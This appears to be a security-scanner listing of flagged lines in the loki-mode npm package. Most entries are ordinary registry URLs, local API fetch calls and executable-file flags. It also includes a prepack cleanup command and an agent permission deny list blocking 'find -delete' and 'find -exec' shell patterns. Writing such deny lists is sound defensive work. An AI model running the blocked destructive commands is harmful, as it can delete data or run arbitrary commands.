  • Network accessline 5844
    "node_modules/undici-types": {       "version": "7.19.2",       "resolved": "https://registry.npmjs.org/undici-types/-/undici-types-7.19.2.tgz",
  • Network accessline 5845
    "version": "7.19.2",       "resolved": "https://registry.npmjs.org/undici-types/-/undici-types-7.19.2.tgz",       "integrity": "sha512-qYVnV5OEm2AW8cJMCpdV20CDyaN3g0AjDlOGf1OW4iaDEx8MwdtChUp4zu4H0VP3nDRF/8RKWH+IPp9uW0YGZg==",
  • Network accessline 5846
    "resolved": "https://registry.npmjs.org/undici-types/-/undici-types-7.19.2.tgz",
  • Network accessline 5851
    "node_modules/universalify": {       "version": "0.2.0",       "resolved": "https://registry.npmjs.org/universalify/-/universalify-0.2.0.tgz",
  • Network accessline 5852
    "version": "0.2.0",       "resolved": "https://registry.npmjs.org/universalify/-/universalify-0.2.0.tgz",       "integrity": "sha512-CJ1QgKmNg3CwvAv/kOFmtnEN05f0D/cn9QntgNOQlQF9dgvVTHj3t+8JPdjqawCHk7V/KA+fbUqzZ9XWhcqPUg==",
  • Network accessline 5853
    "resolved": "https://registry.npmjs.org/universalify/-/universalify-0.2.0.tgz",
  • Network accessline 5861
    "node_modules/unpipe": {       "version": "1.0.0",       "resolved": "https://registry.npmjs.org/unpipe/-/unpipe-1.0.0.tgz",
  • Network accessline 5862
    "version": "1.0.0",       "resolved": "https://registry.npmjs.org/unpipe/-/unpipe-1.0.0.tgz",       "integrity": "sha512-pjy2bYhSsufwWlKwPc+l3cN7+wuJlK6uz0YdJEOlQDbl6jo/YlPi4mb8agUkVC8BF7V8NuzeyPNqRksA3hztKQ==",
  • Network accessline 5863
    "resolved": "https://registry.npmjs.org/unpipe/-/unpipe-1.0.0.tgz",
  • Network accessline 5872
    "node_modules/update-browserslist-db": {       "version": "1.2.3",       "resolved": "https://registry.npmjs.org/update-browserslist-db/-/update-browserslist-db-1.2.3.tgz",
  • Network accessline 5873
    "version": "1.2.3",       "resolved": "https://registry.npmjs.org/update-browserslist-db/-/update-browserslist-db-1.2.3.tgz",       "integrity": "sha512-Js0m9cx+qOgDxo0eMiFGEueWztz+d4+M3rGlmKPT+T4IS/jP4ylw3Nwpu6cpTTP8R1MAC1kF4VbdLt3ARf209w=
  • Network accessline 5874
    "resolved": "https://registry.npmjs.org/update-browserslist-db/-/update-browserslist-db-1.2.3.tgz",
  • Network accessline 5878
    {           "type": "opencollective",           "url": "https://opencollective.com/browserslist"
  • Network accessline 5879
    "type": "opencollective",           "url": "https://opencollective.com/browserslist"         },
  • Network accessline 5880
    "url": "https://opencollective.com/browserslist"
  • Network accessline 5882
    {           "type": "tidelift",           "url": "https://tidelift.com/funding/github/npm/browserslist"
  • Network accessline 5883
    "type": "tidelift",           "url": "https://tidelift.com/funding/github/npm/browserslist"         },
  • Network accessline 5884
    "url": "https://tidelift.com/funding/github/npm/browserslist"
  • Network accessline 5886
    {           "type": "github",           "url": "https://github.com/sponsors/ai"
  • Network accessline 5887
    "type": "github",           "url": "https://github.com/sponsors/ai"         }
  • Network accessline 5888
    "url": "https://github.com/sponsors/ai"
  • Network accessline 5903
    "node_modules/url-parse": {       "version": "1.5.10",       "resolved": "https://registry.npmjs.org/url-parse/-/url-parse-1.5.10.tgz",
  • Network accessline 5904
    "version": "1.5.10",       "resolved": "https://registry.npmjs.org/url-parse/-/url-parse-1.5.10.tgz",       "integrity": "sha512-WypcfiRhfeUP9vvF0j6rw0J3hrWrw6iZv3+22h6iRMJ/8z1Tj6XfLP4DsUix5MhMPnXpiHDoKyoZ/bdCkwBCiQ==",
  • Network accessline 5905
    "resolved": "https://registry.npmjs.org/url-parse/-/url-parse-1.5.10.tgz",
  • Network accessline 5914
    "node_modules/v8-to-istanbul": {       "version": "9.3.0",       "resolved": "https://registry.npmjs.org/v8-to-istanbul/-/v8-to-istanbul-9.3.0.tgz",
  • Network accessline 5915
    "version": "9.3.0",       "resolved": "https://registry.npmjs.org/v8-to-istanbul/-/v8-to-istanbul-9.3.0.tgz",       "integrity": "sha512-kiGUalWN+rgBJ/1OHZsBtU4rXZOfj/7rKQxULKlIzwzQSvMJUUNgPwJEEh7gU6xEVxC0ahoOBvN2YI8GH6FNgA==",
  • Network accessline 5916
    "resolved": "https://registry.npmjs.org/v8-to-istanbul/-/v8-to-istanbul-9.3.0.tgz",
  • Network accessline 5929
    "node_modules/vary": {       "version": "1.1.2",       "resolved": "https://registry.npmjs.org/vary/-/vary-1.1.2.tgz",
  • Network accessline 5930
    "version": "1.1.2",       "resolved": "https://registry.npmjs.org/vary/-/vary-1.1.2.tgz",       "integrity": "sha512-BNGbWLfd0eUPabhkXUVm0j8uuvREyTh5ovRa/dyow/BqAbZJyC+5fU+IzQOzmAKzYqYRAISoRhdQr3eIZ/PXqg==",
  • Network accessline 5931
    "resolved": "https://registry.npmjs.org/vary/-/vary-1.1.2.tgz",
  • Network accessline 5940
    "node_modules/w3c-xmlserializer": {       "version": "5.0.0",       "resolved": "https://registry.npmjs.org/w3c-xmlserializer/-/w3c-xmlserializer-5.0.0.tgz",
  • Network accessline 5941
    "version": "5.0.0",       "resolved": "https://registry.npmjs.org/w3c-xmlserializer/-/w3c-xmlserializer-5.0.0.tgz",       "integrity": "sha512-o8qghlI8NZHU1lLPrpi2+Uq7abh4GGPpYANlalzWxyWteJOCsr/P+oPBA49TOLu5FTZO4d3F9MnWJfiMo4BkmA==",
  • Network accessline 5942
    "resolved": "https://registry.npmjs.org/w3c-xmlserializer/-/w3c-xmlserializer-5.0.0.tgz",
  • Network accessline 5953
    "node_modules/walker": {       "version": "1.0.8",       "resolved": "https://registry.npmjs.org/walker/-/walker-1.0.8.tgz",
  • Network accessline 5954
    "version": "1.0.8",       "resolved": "https://registry.npmjs.org/walker/-/walker-1.0.8.tgz",       "integrity": "sha512-ts/8E8l5b7kY0vlWLewOkDXMmPdLcVV4GmOQLyxuSswIJsweeFZtAsMF7k1Nszz+TYBQrlYRmzOnr398y1JemQ==",
  • Network accessline 5955
    "resolved": "https://registry.npmjs.org/walker/-/walker-1.0.8.tgz",
  • Network accessline 5963
    "node_modules/webidl-conversions": {       "version": "7.0.0",       "resolved": "https://registry.npmjs.org/webidl-conversions/-/webidl-conversions-7.0.0.tgz",
  • Network accessline 5964
    "version": "7.0.0",       "resolved": "https://registry.npmjs.org/webidl-conversions/-/webidl-conversions-7.0.0.tgz",       "integrity": "sha512-VwddBukDzu71offAQR975unBIGqfKZpM+8ZX6ySk8nYhVoo5CYaZyzt3YBvYtRtO+aoGlqxPg/B87NGVZ/fu6g==",
  • Network accessline 5965
    "resolved": "https://registry.npmjs.org/webidl-conversions/-/webidl-conversions-7.0.0.tgz",
  • Network accessline 5973
    "node_modules/whatwg-encoding": {       "version": "3.1.1",       "resolved": "https://registry.npmjs.org/whatwg-encoding/-/whatwg-encoding-3.1.1.tgz",
  • Network accessline 5974
    "version": "3.1.1",       "resolved": "https://registry.npmjs.org/whatwg-encoding/-/whatwg-encoding-3.1.1.tgz",       "integrity": "sha512-6qN4hJdMwfYBtE3YBTTHhoeuUrDBPZmbQaxWAqSALV/MeEnR5z1xd8UKud2RAkFoPkmB+hli1TZSnyi84xz1vQ==",
  • Network accessline 5975
    "resolved": "https://registry.npmjs.org/whatwg-encoding/-/whatwg-encoding-3.1.1.tgz",
  • Network accessline 5987
    "node_modules/whatwg-mimetype": {       "version": "4.0.0",       "resolved": "https://registry.npmjs.org/whatwg-mimetype/-/whatwg-mimetype-4.0.0.tgz",
  • Network accessline 5988
    "version": "4.0.0",       "resolved": "https://registry.npmjs.org/whatwg-mimetype/-/whatwg-mimetype-4.0.0.tgz",       "integrity": "sha512-QaKxh0eNIi2mE9p2vEdzfagOKHCcj1pJ56EEHGQOVxp8r9/iszLUUV7v89x9O1p/T+NlTM5W7jW6+cz4Fq1YVg==",
  • Network accessline 5989
    "resolved": "https://registry.npmjs.org/whatwg-mimetype/-/whatwg-mimetype-4.0.0.tgz",
  • Network accessline 5997
    "node_modules/whatwg-url": {       "version": "14.2.0",       "resolved": "https://registry.npmjs.org/whatwg-url/-/whatwg-url-14.2.0.tgz",
  • Network accessline 5998
    "version": "14.2.0",       "resolved": "https://registry.npmjs.org/whatwg-url/-/whatwg-url-14.2.0.tgz",       "integrity": "sha512-De72GdQZzNTUBBChsXueQUnPKDkg/5A5zp7pFDuQAj5UFoENpiACU0wlCvzpAGnTkj++ihpKwKyYewn/XNUbKw==",
  • Network accessline 5999
    "resolved": "https://registry.npmjs.org/whatwg-url/-/whatwg-url-14.2.0.tgz",
  • Network accessline 6011
    "node_modules/which": {       "version": "2.0.2",       "resolved": "https://registry.npmjs.org/which/-/which-2.0.2.tgz",
  • Network accessline 6012
    "version": "2.0.2",       "resolved": "https://registry.npmjs.org/which/-/which-2.0.2.tgz",       "integrity": "sha512-BLI3Tl1TW3Pvl70l3yq3Y64i+awpwXqsGBYWkkqMtnbXgrMD+yj7rhW0kuEDxzJaYXGjEW5ogapKNMEKNMjibA==",
  • Network accessline 6013
    "resolved": "https://registry.npmjs.org/which/-/which-2.0.2.tgz",
  • Network accessline 6027
    "node_modules/wrap-ansi": {       "version": "7.0.0",       "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-7.0.0.tgz",
  • Network accessline 6028
    "version": "7.0.0",       "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-7.0.0.tgz",       "integrity": "sha512-YVGIj2kamLSTxw6NsZjoBxfSwsn0ycdesmc4p+Q21c5zPuZ1pl+NfxVdxPtdHvmNVOQ6XSYG4AUtyt/Fi7D16Q==",
  • Network accessline 6029
    "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-7.0.0.tgz",
  • Network accessline 6040
    },       "funding": {         "url": "https://github.com/chalk/wrap-ansi?sponsor=1"
  • Network accessline 6041
    "funding": {         "url": "https://github.com/chalk/wrap-ansi?sponsor=1"       }
  • Network accessline 6042
    "url": "https://github.com/chalk/wrap-ansi?sponsor=1"
  • Network accessline 6045
    "node_modules/wrappy": {       "version": "1.0.2",       "resolved": "https://registry.npmjs.org/wrappy/-/wrappy-1.0.2.tgz",
  • Network accessline 6046
    "version": "1.0.2",       "resolved": "https://registry.npmjs.org/wrappy/-/wrappy-1.0.2.tgz",       "integrity": "sha512-l4Sp/DRseor9wL6EvV2+TuQn63dMkPjZ/sp9XkghTEbV9KlPS1xUsZ3u7/IQO4wxtcFB4bgpQPRcR3QCvezPcQ==",
  • Network accessline 6047
    "resolved": "https://registry.npmjs.org/wrappy/-/wrappy-1.0.2.tgz",
  • Network accessline 6052
    "node_modules/write-file-atomic": {       "version": "4.0.2",       "resolved": "https://registry.npmjs.org/write-file-atomic/-/write-file-atomic-4.0.2.tgz",
  • Network accessline 6053
    "version": "4.0.2",       "resolved": "https://registry.npmjs.org/write-file-atomic/-/write-file-atomic-4.0.2.tgz",       "integrity": "sha512-7KxauUdBmSdWnmpaGFg+ppNjKF8uNLry8LyzjauQDOVONfFLNKrKvQOxZ/VuTIcS/gge/YNahf5RIIQWTSarlg==",
  • Network accessline 6054
    "resolved": "https://registry.npmjs.org/write-file-atomic/-/write-file-atomic-4.0.2.tgz",
  • Network accessline 6066
    "node_modules/ws": {       "version": "8.20.0",       "resolved": "https://registry.npmjs.org/ws/-/ws-8.20.0.tgz",
  • Network accessline 6067
    "version": "8.20.0",       "resolved": "https://registry.npmjs.org/ws/-/ws-8.20.0.tgz",       "integrity": "sha512-sAt8BhgNbzCtgGbt2OxmpuryO63ZoDk/sqaB/znQm94T4fCEsy/yV+7CdC1kJhOU9lboAEU7R3kquuycDoibVA==",
  • Network accessline 6068
    "resolved": "https://registry.npmjs.org/ws/-/ws-8.20.0.tgz",
  • Network accessline 6088
    "node_modules/xml-name-validator": {       "version": "5.0.0",       "resolved": "https://registry.npmjs.org/xml-name-validator/-/xml-name-validator-5.0.0.tgz",
  • Network accessline 6089
    "version": "5.0.0",       "resolved": "https://registry.npmjs.org/xml-name-validator/-/xml-name-validator-5.0.0.tgz",       "integrity": "sha512-EvGK8EJ3DhaHfbRlETOWAS5pO9MZITeauHKJyb8wyajUfQUenkIg2MvLDTZ4T/TgIcm3HU0TFBgWWboAZ30UHg==",
  • Network accessline 6090
    "resolved": "https://registry.npmjs.org/xml-name-validator/-/xml-name-validator-5.0.0.tgz",
  • Network accessline 6098
    "node_modules/xmlchars": {       "version": "2.2.0",       "resolved": "https://registry.npmjs.org/xmlchars/-/xmlchars-2.2.0.tgz",
  • Network accessline 6099
    "version": "2.2.0",       "resolved": "https://registry.npmjs.org/xmlchars/-/xmlchars-2.2.0.tgz",       "integrity": "sha512-JZnDKK8B0RCDw84FNdDAIpZK+JuJw+s7Lz8nksI7SIuU3UXJJslUthsi+uWBUYOwPFwW7W7PRLRfUKpxjtjFCw==",
  • Network accessline 6100
    "resolved": "https://registry.npmjs.org/xmlchars/-/xmlchars-2.2.0.tgz",
  • Network accessline 6105
    "node_modules/y18n": {       "version": "5.0.8",       "resolved": "https://registry.npmjs.org/y18n/-/y18n-5.0.8.tgz",
  • Network accessline 6106
    "version": "5.0.8",       "resolved": "https://registry.npmjs.org/y18n/-/y18n-5.0.8.tgz",       "integrity": "sha512-0pfFzegeDWJHJIAmTLRP2DwHjdF5s7jo9tuztdQxAhINCdvS+3nGINqPd00AphqJR/0LhANUS6/+7SCb98YOfA==",
  • Network accessline 6107
    "resolved": "https://registry.npmjs.org/y18n/-/y18n-5.0.8.tgz",
  • Network accessline 6115
    "node_modules/yallist": {       "version": "3.1.1",       "resolved": "https://registry.npmjs.org/yallist/-/yallist-3.1.1.tgz",
  • Network accessline 6116
    "version": "3.1.1",       "resolved": "https://registry.npmjs.org/yallist/-/yallist-3.1.1.tgz",       "integrity": "sha512-a4UGQaWPH59mOXUYnAG2ewncQS4i4F43Tv3JoAM+s2VDAmS9NsK8GpDMLrCHPksFT7h3K6TOoUNn2pb7RoXx4g==",
  • Network accessline 6117
    "resolved": "https://registry.npmjs.org/yallist/-/yallist-3.1.1.tgz",
  • Network accessline 6122
    "node_modules/yargs": {       "version": "17.7.2",       "resolved": "https://registry.npmjs.org/yargs/-/yargs-17.7.2.tgz",
  • Network accessline 6123
    "version": "17.7.2",       "resolved": "https://registry.npmjs.org/yargs/-/yargs-17.7.2.tgz",       "integrity": "sha512-7dSzzRQ++CKnNI/krKnYRV7JKKPUXMEh61soaHKg9mrWEhzFWhFnxPxGl+69cD1Ou63C13NUPCnmIcrvqCuM6w==",
  • Network accessline 6124
    "resolved": "https://registry.npmjs.org/yargs/-/yargs-17.7.2.tgz",
  • Network accessline 6141
    "node_modules/yargs-parser": {       "version": "21.1.1",       "resolved": "https://registry.npmjs.org/yargs-parser/-/yargs-parser-21.1.1.tgz",
  • Network accessline 6142
    "version": "21.1.1",       "resolved": "https://registry.npmjs.org/yargs-parser/-/yargs-parser-21.1.1.tgz",       "integrity": "sha512-tVpsJW7DdjecAiFpbIB1e3qxIQsE6NoPc5/eTdrbbIC4h0LVsWhnoa3g+m2HclBIujHzsxZ4VJVA+GUuc2/LBw==",
  • Network accessline 6143
    "resolved": "https://registry.npmjs.org/yargs-parser/-/yargs-parser-21.1.1.tgz",
  • Network accessline 6151
    "node_modules/yocto-queue": {       "version": "0.1.0",       "resolved": "https://registry.npmjs.org/yocto-queue/-/yocto-queue-0.1.0.tgz",
  • Network accessline 6152
    "version": "0.1.0",       "resolved": "https://registry.npmjs.org/yocto-queue/-/yocto-queue-0.1.0.tgz",       "integrity": "sha512-rVksvsnNCdJ/ohGc6xgPwyN8eheCxsiLM8mxuE/t/mOVqJewPuO1miLpTHQiRgTKCLexL4MeAFVagts7HmNZ2Q==",
  • Network accessline 6153
    "resolved": "https://registry.npmjs.org/yocto-queue/-/yocto-queue-0.1.0.tgz",
  • Network accessline 6159
    },       "funding": {         "url": "https://github.com/sponsors/sindresorhus"
  • Network accessline 6160
    "funding": {         "url": "https://github.com/sponsors/sindresorhus"       }
  • Network accessline 6161
    "url": "https://github.com/sponsors/sindresorhus"
  • Network accessline 6164
    "node_modules/zod": {       "version": "4.4.3",       "resolved": "https://registry.npmjs.org/zod/-/zod-4.4.3.tgz",
  • Network accessline 6165
    "version": "4.4.3",       "resolved": "https://registry.npmjs.org/zod/-/zod-4.4.3.tgz",       "integrity": "sha512-ytENFjIJFl2UwYglde2jchW2Hwm4GJFLDiSXWdTrJQBIN9Fcyp7n4DhxJEiWNAJMV1/BqWfW/kkg71UDcHJyTQ==",
  • Network accessline 6166
    "resolved": "https://registry.npmjs.org/zod/-/zod-4.4.3.tgz",
  • Network accessline 6170
    "peer": true,       "funding": {         "url": "https://github.com/sponsors/colinhacks"
  • Network accessline 6171
    "funding": {         "url": "https://github.com/sponsors/colinhacks"       }
  • Network accessline 6172
    "url": "https://github.com/sponsors/colinhacks"
  • Network accessline 6175
    "node_modules/zod-to-json-schema": {       "version": "3.25.2",       "resolved": "https://registry.npmjs.org/zod-to-json-schema/-/zod-to-json-schema-3.25.2.tgz",
  • Network accessline 6176
    "version": "3.25.2",       "resolved": "https://registry.npmjs.org/zod-to-json-schema/-/zod-to-json-schema-3.25.2.tgz",       "integrity": "sha512-O/PgfnpT1xKSDeQYSCfRI5Gy3hPf91mKVDuYLUHZJMiDFptvP41MSnWofm8dnCm0256ZNfZIM7DSzuSMAFnjHA==",
  • Network accessline 6177
    "resolved": "https://registry.npmjs.org/zod-to-json-schema/-/zod-to-json-schema-3.25.2.tgz",

package.json

  • Executable scriptline 1
    Executable file
  • Network accessline 47
    "workflow"   ],   "homepage": "https://www.autonomi.dev/",
  • Network accessline 48
    ],   "homepage": "https://www.autonomi.dev/",   "bugs": {
  • Network accessline 49
    "homepage": "https://www.autonomi.dev/",
  • Network accessline 50
    "bugs": {     "url": "https://github.com/asklokesh/loki-mode/issues"   },
  • Network accessline 51
    "url": "https://github.com/asklokesh/loki-mode/issues"
  • Network accessline 53
    "repository": {     "type": "git",     "url": "git+https://github.com/asklokesh/loki-mode.git"
  • Network accessline 54
    "type": "git",     "url": "git+https://github.com/asklokesh/loki-mode.git"   },
  • Network accessline 55
    "url": "git+https://github.com/asklokesh/loki-mode.git"
  • Dangerous shell operationline 126
    "prepack": "find . -type d -name __pycache__ -exec rm -rf {} + 2>/dev/null; find . -name '*.pyc' -delete 2>/dev/null; if command -v bun >/dev/null 2>&1; then (cd loki-ts && bun install --production && bun run build) || echo 'WARN: loki-ts b

packages/control-plane/package.json

  • Executable scriptline 1
    Executable file

packages/control-plane/src/ask/invoke.ts

  • Executable scriptline 1
    Executable file

packages/control-plane/src/ask/parse.ts

  • Executable scriptline 1
    Executable file

packages/control-plane/src/ask/policy.ts

  • Executable scriptline 1
    Executable file
  • Dangerous shell operationline 31
    "Bash(rg --hostname-bin=:*)", "Bash(find -delete:*)", "Bash(find -exec:*)", "Bash(find -execdir:*)", "Bash(find -ok:*)", "Bash(find -fprint:*)", "Bash(find -fprintf:*)", "Bash(find -fls:*)",
  • Dangerous shell operationline 33
    "Bash(find * -delete*)", "Bash(find * -exec*)", "Bash(find * -execdir*)", "Bash(find * -fprint*)", "Bash(find * -fls*)", "Bash(find * -ok*)",

packages/control-plane/src/ask/prompt.ts

  • Executable scriptline 1
    Executable file

packages/control-plane/src/ask/store.ts

  • Executable scriptline 1
    Executable file

packages/control-plane/src/ask/tools.ts

  • Executable scriptline 1
    Executable file

packages/control-plane/src/ask/tools_server.ts

  • Executable scriptline 1
    Executable file

packages/control-plane/src/ask/worker.ts

  • Executable scriptline 1
    Executable file

packages/control-plane/src/db/fixture-cleanup.ts

  • Executable scriptline 1
    Executable file

packages/control-plane/src/db/migrate.ts

  • Executable scriptline 1
    Executable file

packages/control-plane/src/db/prune.ts

  • Executable scriptline 1
    Executable file

packages/control-plane/src/db/schema.ts

  • Executable scriptline 1
    Executable file

packages/control-plane/src/server/answer.ts

  • Executable scriptline 1
    Executable file

packages/control-plane/src/server/app.ts

  • Executable scriptline 1
    Executable file
  • Network accessline 92
    [Credential-related source omitted]
  • Network accessline 93
    [Credential-related source omitted]
  • Network accessline 94
    [Credential-related source omitted]
  • Access to secretsline 94
    [Credential-related source omitted]
  • Network accessline 95
    fetchImpl: ((u: string, init: RequestInit) => app.fetch(new Request(u, { ...init, headers: { ...(init.headers as Record<string, string>), host: "127.0.0.1" } }))) as unknown as typeof fetch,

packages/control-plane/src/server/audit.ts

  • Executable scriptline 1
    Executable file

packages/control-plane/src/server/auth.ts

  • Executable scriptline 1
    Executable file
  • Access to secretsline 31
    [Credential-related source omitted]
  • Access to secretsline 39
    [Credential-related source omitted]

packages/control-plane/src/server/diffstat.ts

  • Executable scriptline 1
    Executable file

packages/control-plane/src/server/ingest.ts

  • Executable scriptline 1
    Executable file

packages/control-plane/src/server/integrity.ts

  • Executable scriptline 1
    Executable file
  • Access to secretsline 47
    [Credential-related source omitted]

packages/control-plane/src/server/legacy/routes-audit.ts

  • Executable scriptline 1
    Executable file

packages/control-plane/src/server/legacy/routes-control.ts

  • Executable scriptline 1
    Executable file

packages/control-plane/src/server/legacy/routes-memory.ts

  • Executable scriptline 1
    Executable file

packages/control-plane/src/server/legacy/routes-metrics.ts

  • Executable scriptline 1
    Executable file

packages/control-plane/src/server/legacy/routes.ts

  • Executable scriptline 1
    Executable file
  • Access to secretsline 23
    [Credential-related source omitted]
  • Access to secretsline 24
    [Credential-related source omitted]
  • Access to secretsline 27
    [Credential-related source omitted]
  • Access to secretsline 28
    [Credential-related source omitted]

packages/control-plane/src/server/legacy/shim.ts

  • Executable scriptline 1
    Executable file
  • Network accessline 108
    const mapped: Record<string, (c: Context) => Response | Promise<Response>> = {     "GET /.well-known/agent.json": (c) => c.json({       name: "Loki Mode", version, url: "https://www.autonomi.dev/",
  • Network accessline 109
    "GET /.well-known/agent.json": (c) => c.json({       name: "Loki Mode", version, url: "https://www.autonomi.dev/",       description: "Multi-agent autonomous system by Autonomi. Served by the Loki Control Plane.",
  • Network accessline 110
    name: "Loki Mode", version, url: "https://www.autonomi.dev/",

packages/control-plane/src/server/reconcile.ts

  • Executable scriptline 1
    Executable file

packages/control-plane/src/server/repos.ts

  • Executable scriptline 1
    Executable file

packages/control-plane/src/server/routes/artifacts.ts

  • Executable scriptline 1
    Executable file

packages/control-plane/src/server/routes/ask.ts

  • Executable scriptline 1
    Executable file

packages/control-plane/src/server/routes/audit.ts

  • Executable scriptline 1
    Executable file

packages/control-plane/src/server/routes/checkpoints.ts

  • Executable scriptline 1
    Executable file

packages/control-plane/src/server/routes/config.ts

  • Executable scriptline 1
    Executable file

packages/control-plane/src/server/routes/control.ts

  • Executable scriptline 1
    Executable file

packages/control-plane/src/server/routes/cost.ts

  • Executable scriptline 1
    Executable file

packages/control-plane/src/server/routes/cost_ledger.ts

  • Executable scriptline 1
    Executable file

packages/control-plane/src/server/routes/doctor.ts

  • Executable scriptline 1
    Executable file

packages/control-plane/src/server/routes/fleet.ts

  • Executable scriptline 1
    Executable file

packages/control-plane/src/server/routes/index.ts

  • Executable scriptline 1
    Executable file

packages/control-plane/src/server/routes/integrations.ts

  • Executable scriptline 1
    Executable file
  • Access to secretsline 69
    [Credential-related source omitted]
  • Access to secretsline 70
    [Credential-related source omitted]

packages/control-plane/src/server/routes/memory.ts

  • Executable scriptline 1
    Executable file

packages/control-plane/src/server/routes/merge_risk.ts

  • Executable scriptline 1
    Executable file

packages/control-plane/src/server/routes/metrics.ts

  • Executable scriptline 1
    Executable file

packages/control-plane/src/server/routes/notify.ts

  • Executable scriptline 1
    Executable file

packages/control-plane/src/server/routes/providers.ts

  • Executable scriptline 1
    Executable file
  • Access to secretsline 11
    [Credential-related source omitted]
  • Access to secretsline 12
    [Credential-related source omitted]

packages/control-plane/src/server/routes/session_control.ts

  • Executable scriptline 1
    Executable file

packages/control-plane/src/server/routes/start.ts

  • Executable scriptline 1
    Executable file

packages/control-plane/src/server/routes/stats.ts

  • Executable scriptline 1
    Executable file

packages/control-plane/src/server/routes/stream.ts

  • Executable scriptline 1
    Executable file

packages/control-plane/src/server/routes/verify.ts

  • Executable scriptline 1
    Executable file

packages/control-plane/src/server/runs.ts

  • Executable scriptline 1
    Executable file

packages/control-plane/src/server/serve.ts

  • Executable scriptline 1
    Executable file
  • Access to secretsline 16
    [Credential-related source omitted]

packages/control-plane/src/server/spawn.ts

  • Executable scriptline 1
    Executable file

packages/control-plane/src/shipper/backfill.ts

  • Executable scriptline 1
    Executable file
  • Access to secretsline 32
    [Credential-related source omitted]

packages/control-plane/src/shipper/discover.ts

  • Executable scriptline 1
    Executable file

packages/control-plane/src/shipper/ship.ts

  • Executable scriptline 1
    Executable file

packages/control-plane/src/shipper/watch.ts

  • Executable scriptline 1
    Executable file
  • Access to secretsline 54
    [Credential-related source omitted]

packages/control-plane/ui/package.json

  • Executable scriptline 1
    Executable file

packages/control-plane/ui/postcss.config.js

  • Executable scriptline 1
    Executable file

packages/control-plane/ui/src/App.tsx

  • Executable scriptline 1
    Executable file

packages/control-plane/ui/src/Live.tsx

  • Executable scriptline 1
    Executable file

packages/control-plane/ui/src/Shell.tsx

  • Executable scriptline 1
    Executable file

packages/control-plane/ui/src/api.ts

  • Executable scriptline 1
    Executable file
  • Network accessline 107
    if (status === 404 || status === 405) {     try {       const h = (await (await fetch(`${base()}/health`, { headers: authHeaders() })).json()) as { version?: string; installed_version?: string };
  • Network accessline 108
    try {       const h = (await (await fetch(`${base()}/health`, { headers: authHeaders() })).json()) as { version?: string; installed_version?: string };       if (h.version && h.installed_version && h.installed_version !== "unknown" && h.ver
  • Network accessline 109
    const h = (await (await fetch(`${base()}/health`, { headers: authHeaders() })).json()) as { version?: string; installed_version?: string };
  • Network accessline 129
    async function get<T>(path: string): Promise<T> {   const res = await fetch(`${base()}${path}`, { headers: authHeaders() });
  • Network accessline 130
    const res = await fetch(`${base()}${path}`, { headers: authHeaders() });
  • Network accessline 150
    export async function postAnswer(source: string, run: string, answer: string): Promise<{ path: string; resume: string }> {   const res = await fetch(`${base()}/v1/runs/${encodeURIComponent(source)}/${encodeURIComponent(run)}/answer`, { meth
  • Network accessline 151
    const res = await fetch(`${base()}/v1/runs/${encodeURIComponent(source)}/${encodeURIComponent(run)}/answer`, { method: "POST", headers: authHeaders({ "content-type": "application/json" }), body: JSON.stringify({ answer }) });
  • Network accessline 157
    async function postJson<T>(path: string, body: unknown): Promise<T> {   const res = await fetch(`${base()}${path}`, { method: "POST", headers: authHeaders({ "content-type": "application/json" }), body: JSON.stringify(body) });
  • Network accessline 158
    const res = await fetch(`${base()}${path}`, { method: "POST", headers: authHeaders({ "content-type": "application/json" }), body: JSON.stringify(body) });
  • Network accessline 172
    while (!ctl.signal.aborted) {       try {         const res = await fetch(`${base()}/v1/stream`, { headers: authHeaders({ accept: "text/event-stream" }), signal: ctl.signal });
  • Network accessline 173
    try {         const res = await fetch(`${base()}/v1/stream`, { headers: authHeaders({ accept: "text/event-stream" }), signal: ctl.signal });         if (res.ok && res.body) {
  • Network accessline 174
    const res = await fetch(`${base()}/v1/stream`, { headers: authHeaders({ accept: "text/event-stream" }), signal: ctl.signal });
  • Network accessline 198
    export async function deleteRun(source: string, run: string): Promise<{ ok: true; removed: { runs: number; events: number; sources: number }; remaining_runs: number }> {   const res = await fetch(`${base()}/v1/runs/${encodeURIComponent(sour
  • Network accessline 199
    const res = await fetch(`${base()}/v1/runs/${encodeURIComponent(source)}/${encodeURIComponent(run)}`, { method: "DELETE", headers: authHeaders({ "content-type": "application/json" }) });

packages/control-plane/ui/src/design/fonts.css

  • Network accessline 1
    /* Web fonts, build-standalone parity: Inter 300-800, JetBrains Mono 400/500. */ @import url("https://fonts.googleapis.com/css2?family=Inter:wght@300;400;500;600;700;800&family=JetBrains+Mono:wght@400;500&display=swap");
  • Network accessline 2
    @import url("https://fonts.googleapis.com/css2?family=Inter:wght@300;400;500;600;700;800&family=JetBrains+Mono:wght@400;500&display=swap");

packages/control-plane/ui/src/design/primitives/index.tsx

  • Executable scriptline 1
    Executable file

packages/control-plane/ui/src/design/tailwind.preset.ts

  • Executable scriptline 1
    Executable file

packages/control-plane/ui/src/display.ts

  • Executable scriptline 1
    Executable file

packages/control-plane/ui/src/format.ts

  • Executable scriptline 1
    Executable file

packages/control-plane/ui/src/main.tsx

  • Executable scriptline 1
    Executable file

packages/control-plane/ui/src/pages/ask/api.ts

  • Executable scriptline 1
    Executable file
  • Network accessline 26
    async function call<T>(path: string, init?: RequestInit): Promise<T> {   const res = await fetch(`${base()}${path}`, { ...init, headers: headers(init?.body ? { "content-type": "application/json" } : {}) });
  • Network accessline 27
    const res = await fetch(`${base()}${path}`, { ...init, headers: headers(init?.body ? { "content-type": "application/json" } : {}) });
  • Network accessline 59
    export async function streamMessage(id: string, onEvent: (e: AskEvent) => void, signal?: AbortSignal): Promise<void> {   const res = await fetch(`${base()}/v1/ask/messages/${encodeURIComponent(id)}/stream`, { headers: headers({ accept: "tex
  • Network accessline 60
    const res = await fetch(`${base()}/v1/ask/messages/${encodeURIComponent(id)}/stream`, { headers: headers({ accept: "text/event-stream" }), signal });

packages/control-plane/ui/src/pages/ask/index.tsx

  • Executable scriptline 1
    Executable file

packages/control-plane/ui/src/pages/board/Board.tsx

  • Executable scriptline 1
    Executable file

packages/control-plane/ui/src/pages/board/columns.ts

  • Executable scriptline 1
    Executable file

packages/control-plane/ui/src/pages/board/index.tsx

  • Executable scriptline 1
    Executable file

packages/control-plane/ui/src/pages/compose/api.ts

  • Executable scriptline 1
    Executable file
  • Network accessline 16
    export async function postRun(body: RunRequest): Promise<RunStarted> {   const res = await fetch(`${base()}/v1/runs`, { method: "POST", headers: { "content-type": "application/json", ...auth() }, body: JSON.stringify(body) });
  • Network accessline 17
